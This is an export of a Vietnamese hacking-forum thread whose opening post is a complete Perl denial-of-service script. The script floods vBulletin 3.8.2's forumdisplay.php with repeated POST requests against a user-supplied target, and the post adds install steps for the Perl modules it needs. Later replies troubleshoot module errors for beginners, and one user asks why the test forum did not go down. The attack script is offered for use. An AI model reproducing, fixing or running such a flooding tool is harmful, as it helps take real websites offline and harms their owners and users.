<![CDATA[Latest posts for the topic "vBulletin® Version 3.8.2 Denial of Service Exploit"]]> /hvaonline/posts/list/13.html JForum - http://www.jforum.net vBulletin® Version 3.8.2 Denial of Service Exploit Code:
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
########################################################################
# Modules                                                              #
########################################################################
use IO::SOCKET;           # Object interface                           #
########################################################################
if (@ARGV<1){
print"
########################################################################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                                                                    ##
########################################################################
########################################################################
##                                ##                                  ##
##->vBulletin® Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Enter these values              ##                                  ##
##1.Target                        ##[*] www.Target.com                ##
##2.Board                         ##[*] vbulletin                     ##
##3.Vulnerability                 ##[*] forumdisplay.php?f=           ##
##4.Execution length/timeout      ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
########################################################################
\a";}
$block = "
########################################################################";
$fehler = "Error!Error!Error!Error";
$x =0;
     print"$block\n";
     print q(Target->);
     chomp($ziel =<STDIN>);
     if ($ziel eq""){
     die "$fehler\a\n";}
     print"$block\n";
       print"$block\n";
       print q(Path->);
       chomp($path =<STDIN>);
       if ($path eq "") {
       die "$fehler !\a\n";}
       print"$block\n";
          print"$block\n";
          print "Vulnerability\n";
          print"forumdisplay.php?f=\n";
          print"->\n";
            chomp($vul =<STDIN>);
            if ($vul eq "") {
            die "$fehler !\a\n";}
            print"$block\n";
               print"$block\n";
               print q(Time->);
               chomp($flood =<STDIN>);
               if ($flood eq "") {
               die "$fehler !\a\n";}
                  print"$block\n";
                  print"$block\n";
                  print q(Port->);
                  chomp($port =<STDIN>);
                  if ($port eq ""){
                  die "$fehler \n";}
                  print"$block\n";
                     print q(Send "start"->);
                     chomp($start =<STDIN>);
                     if ($start eq "") {
                     die "$fehler\n";}
print "$block\a\n";
print "[+]Checking Data \n";
print "[*]Checking Target   : $ziel\n";
print "[*]Checking Board  : $path\n";
print "[*]Checking Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                               PeerAddr => "$ziel",
                               PeerPort => "$port",
                               Proto => "tcp",
                              );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Error - can't connect to target $ziel !\n";
}

cài perl cho win http://www.activestate.com/ActivePerl/ cài perl cho linux: vào ter gõ: Code:
apt-get install libio-socket-inet6-perl
sudo perl -MCPAN -e shell
install IO::Socket::INET6
perl -MCPAN -e 'install IO::Socket::INET6'
make
make test
sudo make install
hoặc: http://www.perl.com/CPAN/src/perl-5.6.2.tar.gz :D ]]>
/hvaonline/posts/list/29876.html#184289 /hvaonline/posts/list/29876.html#184289 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit Can't locate IO/SOCKET.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at a.pl line 7. BEGIN failed--compilation aborted at a.pl line 7.   Mong bạn giúp mình khắc phục]]> /hvaonline/posts/list/29876.html#185892 /hvaonline/posts/list/29876.html#185892 GMT vBulletin® Version 3.8.2 Denial of Service Exploit

Shikuro wrote:
Mình dùng linux, đã install như trên, tuy nhiên vẫn bị
Can't locate IO/SOCKET.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at a.pl line 7. BEGIN failed--compilation aborted at a.pl line 7.  
Mong bạn giúp mình khắc phục 
vào ter gõ: Code:
sudo apt-get install perl
]]>
/hvaonline/posts/list/29876.html#185900 /hvaonline/posts/list/29876.html#185900 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#185954 /hvaonline/posts/list/29876.html#185954 GMT vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#185956 /hvaonline/posts/list/29876.html#185956 GMT vBulletin® Version 3.8.2 Denial of Service Exploit

Kaito Kid X wrote:
Ạnh ơi cho em hỏi, như em thấy thì đây là cái bug trên milworn em còn là newbe nên không biết gì nhiều muốn hỏi anh là sao anh biết đoạn mã trên là perk trong đó nó đâu có ghi gì đâu? em cảm ơn anh nhiều  
Ở trên đầu của đoạn script có dòng: #!usr/bin/perl PS: Cố gắng gõ cho đúng từ. Câu cú cho rõ ràng. Gõ có một đoạn ngắn như thế mà đầy lỗi.]]>
/hvaonline/posts/list/29876.html#185957 /hvaonline/posts/list/29876.html#185957 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit conmale chỉ dậy rồi . Là newbie thi lên milw0rm làm gì cho đau đầu . B-) ]]> /hvaonline/posts/list/29876.html#185959 /hvaonline/posts/list/29876.html#185959 GMT vBulletin® Version 3.8.2 Denial of Service Exploit

Kaito Kid X wrote:
Ạnh ơi cho em hỏi, như em thấy thì đây là cái bug trên milworn em còn là newbe nên không biết gì nhiều muốn hỏi anh là sao anh biết đoạn mã trên là perk trong đó nó đâu có ghi gì đâu? em cảm ơn anh nhiều  
bạn vào google tìm kiếm: "how to use perl exploit" để biết cách sử dụng]]>
/hvaonline/posts/list/29876.html#185960 /hvaonline/posts/list/29876.html#185960 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit

ltcofdream wrote:
Câu nào cũng sai thế là bị anh conmale chỉ dậy rồi . Là newbie thi lên milw0rm làm gì cho đau đầu . B-)  
:P dậy: thức dậy. dạy: dạy bảo. Là newbie thì càng thích lên milw0rm vì nó có khối "mì ăn liền" để làm tại chỗ.]]>
/hvaonline/posts/list/29876.html#185971 /hvaonline/posts/list/29876.html#185971 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#186185 /hvaonline/posts/list/29876.html#186185 GMT vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#188963 /hvaonline/posts/list/29876.html#188963 GMT vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#189640 /hvaonline/posts/list/29876.html#189640 GMT vBulletin® Version 3.8.2 Denial of Service Exploit

noname89 wrote:
Em cai` perl xong chạy nó báo lỗi thế này. Anh em nào biết chỉ với. Can't locate IO/Socket/SSL.pm in @INC (@INC contains: /usr/local/lib/perl5/site_perl/5.10.0/i386-linux-thread-multi /usr/local/lib/perl5/site_perl/5.10.0 /usr/lib/perl5/vendor_perl/5.10.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.10.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.10.0/i386-linux-thread-multi /usr/lib/perl5/5.10.0 /usr/lib/perl5/site_perl .) at apache.pl line 4. BEGIN failed--compilation aborted at apache.pl line 4. Mình đang dùng Fedora.  
Thiếu phần màu đỏ và thiếu cụ thể cái gì thì thử tìm hiểu xem sao. Muốn làm héc cờ mà không nắm mấy cái này thì bó tay.]]>
/hvaonline/posts/list/29876.html#189641 /hvaonline/posts/list/29876.html#189641 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#189652 /hvaonline/posts/list/29876.html#189652 GMT vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#189734 /hvaonline/posts/list/29876.html#189734 GMT vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#190415 /hvaonline/posts/list/29876.html#190415 GMT vBulletin® Version 3.8.2 Denial of Service Exploit

vinh_thekiller wrote:
Em cũng thích học hack lắm nhưng hiện tại vốn kiến thức chưa đủ, nhất là tiếng Anh kìa. Mấy anh đưa mấy trang nước ngoài vào, nhìn thấy đã oải rồi. Ở forum HVA có chỗ nào chuyên cho newbie ko hả mấy anh? 
có đấy bạn,mấy cái Sticky ở đầu mỗi phân mục đó :) ]]>
/hvaonline/posts/list/29876.html#190481 /hvaonline/posts/list/29876.html#190481 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#190871 /hvaonline/posts/list/29876.html#190871 GMT vBulletin® Version 3.8.2 Denial of Service Exploit

vinh_thekiller wrote:
Cho em hỏi thêm chút. Với cái script kia thì khi chạy, cái phần "Path" gõ là "forum" hay "/forum/" vậy? Cả cái "forumdisplay?f=" thì gõ nguyên cả đoạn đó vào rồi thêm id forum bất kì hay forum nào vậy? Em thử rồi nhưng đợi mãi chẳng thấy cái forum thử nghiệm die j cả... 
Thôi thì chịu khó học Perl vậy, học đến khi nào có thể viết được những đoạn mã tương tự như trên thì mới thấy thú vị chứ vẫn thích kiểu mỳ ăn liền, học trên ngọn thế này thì không thu được cái gì cả.]]>
/hvaonline/posts/list/29876.html#190872 /hvaonline/posts/list/29876.html#190872 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit

vinh_thekiller wrote:
Em cũng thích học hack lắm nhưng hiện tại vốn kiến thức chưa đủ, nhất là tiếng Anh kìa. Mấy anh đưa mấy trang nước ngoài vào, nhìn thấy đã oải rồi. Ở forum HVA có chỗ nào chuyên cho newbie ko hả mấy anh? 
HVA là forum không phân biệt newbie hay oldie cho nên chẳng có cái gì chuyên cho newbie cả.]]>
/hvaonline/posts/list/29876.html#190873 /hvaonline/posts/list/29876.html#190873 GMT
vBulletin® Version 3.8.2 Denial of Service Exploit /hvaonline/posts/list/29876.html#190940 /hvaonline/posts/list/29876.html#190940 GMT